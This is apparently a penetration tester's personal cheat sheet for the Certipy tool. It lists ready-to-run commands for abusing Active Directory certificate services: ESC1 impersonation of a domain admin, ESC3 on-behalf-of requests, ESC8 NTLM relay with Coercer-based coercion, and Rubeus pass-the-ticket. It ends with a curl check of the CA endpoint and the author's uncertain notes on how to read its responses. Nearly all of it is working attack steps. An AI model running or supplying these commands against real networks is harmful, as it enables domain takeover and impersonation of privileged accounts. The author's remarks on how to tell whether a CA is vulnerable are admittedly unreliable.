# certipy.py

# Install (potential) pre-reqs

# Find all certs

certipy find -u user@domain.com -p '' -debug
  • Hint: use -scheme ldap if you get a bunch of annoying ldap errors!)

# Find all VULNERABLE certs

certipy find -vulnerable -u user@domain.com -p '' -debug
  • Hint: use -scheme ldap if you get a bunch of annoying ldap errors!)

# Abuse ESC1

sudo certipy req -username lowpriv@domain.com -password 'winter2021' -ca CA-01 -target vulnerableCA.domain.com -template 'vuln-template' -upn da-i-want-to-impersonate@domain.com -dns fqdn-of-a-dc.domain.com -key-size 4096

# Auth with the cert you just got

certipy auth -pfx administrator.pfx -dc-ip 172.16.16.16

# Abuse ESC3

Request a certificate for yourself:

certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template VULNERABLE-TEMPLATE 

Request cert on behalf of a domain admin:

certipy req -username user@domain.com -p 'YOURPASS' -ca NAME-OF-CA-1 -target caserver.domain.com -template VULNERABLE-TEMPLATE -on-behalf-of 'DOMAIN\some-domain-admin' -pfx user.pfx

# Abuse ESC8 (DC example)

certipy relay -target vulnca.domain.com -template DomainController [or KerberosAuthentication]

# Coerce auth

sudo python3 Coercer.py coerce -u lowpriv -p 'Winter2024!' -t ip.of.a.dc -l my.attacking.ip.addy

# Abuse the cert

certipy auth -pfx blah.pfx -domain domain.com
rubeus.exe asktgt /domain:domain.com /user:blah /rc4:NTLMHASH /nowrap
rubeus.exe ptt /ticket:THE-PTDC01-TGT-YOU-COPIED-TO-YOUR-CLIPBOARD-EARLIER

# Sanity check the CA is vulnerable to ESC8 with curl!

curl -sSLkI -u 'NETBIOS-NAME-OF-DOMAIN\user:password' --ntlm 'https://name.of.the.ca/certsrv/certfnsh.asp' 

If you get 401 unauthorized the endpoint is likely still vulnerable. Every time I've seen this and also received a header of WWW-Authenticate: NTLM the host has been vulnerable to ESC8.

On the other hand, I believe a 403 error indicates the endpoint has been hardened and/or the attack won't work.

On a recent assessment I got 401 unauthorized but the endpoint wasn't vulnerable. So I'm still not 100% how to determine vulnerability status unless I test it manually or just do certipy find -vulnerable

Note to self: if I call this file certipy.md in the file hierarchy, Docusaurus crashes. Wassupwitdat? I raised an issue in GitHub for this.